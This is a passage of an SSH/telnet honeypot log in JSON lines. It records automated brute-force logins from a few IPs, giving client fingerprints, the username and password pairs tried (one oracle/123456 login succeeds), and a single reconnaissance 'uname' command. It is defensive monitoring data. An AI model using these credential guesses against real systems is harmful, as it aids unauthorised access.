nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:43.308668Z","src_ip":"176.65.139.95","session":"4937d85d1039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:43.580332Z","src_ip":"176.65.139.95","session":"4937d85d1039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:44.683119Z","src_ip":"176.65.139.95","session":"4937d85d1039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47260,"dst_ip":"159.203.135.109","dst_port":22,"session":"85ccf2fc26ca","protocol":"ssh","message":"New connection: 176.65.139.95:47260 (159.203.135.109:22) [session: 85ccf2fc26ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:49.655567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:49.659898Z","src_ip":"176.65.139.95","session":"85ccf2fc26ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:49.781951Z","src_ip":"176.65.139.95","session":"85ccf2fc26ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:50.066347Z","src_ip":"176.65.139.95","session":"85ccf2fc26ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:50.318604Z","src_ip":"176.65.139.95","session":"85ccf2fc26ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:50.322031Z","src_ip":"176.65.139.95","session":"85ccf2fc26ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:50.406504Z","src_ip":"176.65.139.95","session":"85ccf2fc26ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:50.411265Z","src_ip":"176.65.139.95","session":"85ccf2fc26ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47284,"dst_ip":"159.203.135.109","dst_port":22,"session":"da181c2e1a85","protocol":"ssh","message":"New connection: 176.65.139.95:47284 (159.203.135.109:22) [session: da181c2e1a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:56.081101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:56.086525Z","src_ip":"176.65.139.95","session":"da181c2e1a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:56.179526Z","src_ip":"176.65.139.95","session":"da181c2e1a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.21.130","src_port":57046,"dst_ip":"159.203.135.109","dst_port":23,"session":"e05aea32c3b3","protocol":"telnet","message":"New connection: 193.32.21.130:57046 (159.203.135.109:23) [session: e05aea32c3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:56.199282Z"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:56.494591Z","src_ip":"176.65.139.95","session":"da181c2e1a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:57.581760Z","src_ip":"176.65.139.95","session":"da181c2e1a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55662,"dst_ip":"159.203.135.109","dst_port":22,"session":"5166304c4b96","protocol":"ssh","message":"New connection: 80.94.92.186:55662 (159.203.135.109:22) [session: 5166304c4b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:58.315325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:58.360593Z","src_ip":"80.94.92.186","session":"5166304c4b96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:58.532082Z","src_ip":"80.94.92.186","session":"5166304c4b96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"fuckyou","message":"login attempt [sol/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:42:59.421996Z","src_ip":"80.94.92.186","session":"5166304c4b96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46116,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4f403172eab","protocol":"ssh","message":"New connection: 159.203.92.129:46116 (159.203.135.109:22) [session: e4f403172eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:00.283291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:00.289900Z","src_ip":"159.203.92.129","session":"e4f403172eab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:00.309458Z","src_ip":"159.203.92.129","session":"e4f403172eab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"JinJH","password":"JinJH","message":"login attempt [JinJH/JinJH] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:00.331816Z","src_ip":"159.203.92.129","session":"e4f403172eab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:00.552428Z","src_ip":"80.94.92.186","session":"5166304c4b96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:01.341650Z","src_ip":"159.203.92.129","session":"e4f403172eab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54386,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c86a1ecfc6","protocol":"ssh","message":"New connection: 176.65.139.95:54386 (159.203.135.109:22) [session: a4c86a1ecfc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:02.621982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:02.643318Z","src_ip":"176.65.139.95","session":"a4c86a1ecfc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:02.705680Z","src_ip":"176.65.139.95","session":"a4c86a1ecfc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:03.326427Z","src_ip":"176.65.139.95","session":"a4c86a1ecfc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:04.411868Z","src_ip":"176.65.139.95","session":"a4c86a1ecfc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44324,"dst_ip":"159.203.135.109","dst_port":22,"session":"37eb76650672","protocol":"ssh","message":"New connection: 176.65.139.95:44324 (159.203.135.109:22) [session: 37eb76650672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:09.445097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:09.450605Z","src_ip":"176.65.139.95","session":"37eb76650672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:09.536721Z","src_ip":"176.65.139.95","session":"37eb76650672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:09.811450Z","src_ip":"176.65.139.95","session":"37eb76650672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:10.897981Z","src_ip":"176.65.139.95","session":"37eb76650672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44350,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a1a4a95093f","protocol":"ssh","message":"New connection: 176.65.139.95:44350 (159.203.135.109:22) [session: 2a1a4a95093f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:15.655633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:15.771401Z","src_ip":"176.65.139.95","session":"2a1a4a95093f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:15.776872Z","src_ip":"176.65.139.95","session":"2a1a4a95093f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:16.354311Z","src_ip":"176.65.139.95","session":"2a1a4a95093f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:17.441828Z","src_ip":"176.65.139.95","session":"2a1a4a95093f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46454,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d77ed5f933d","protocol":"ssh","message":"New connection: 176.65.139.95:46454 (159.203.135.109:22) [session: 2d77ed5f933d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:22.060289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:43:22.073871Z","src_ip":"176.65.139.95","session":"2d77ed5f933d","protocol":"ssh"}
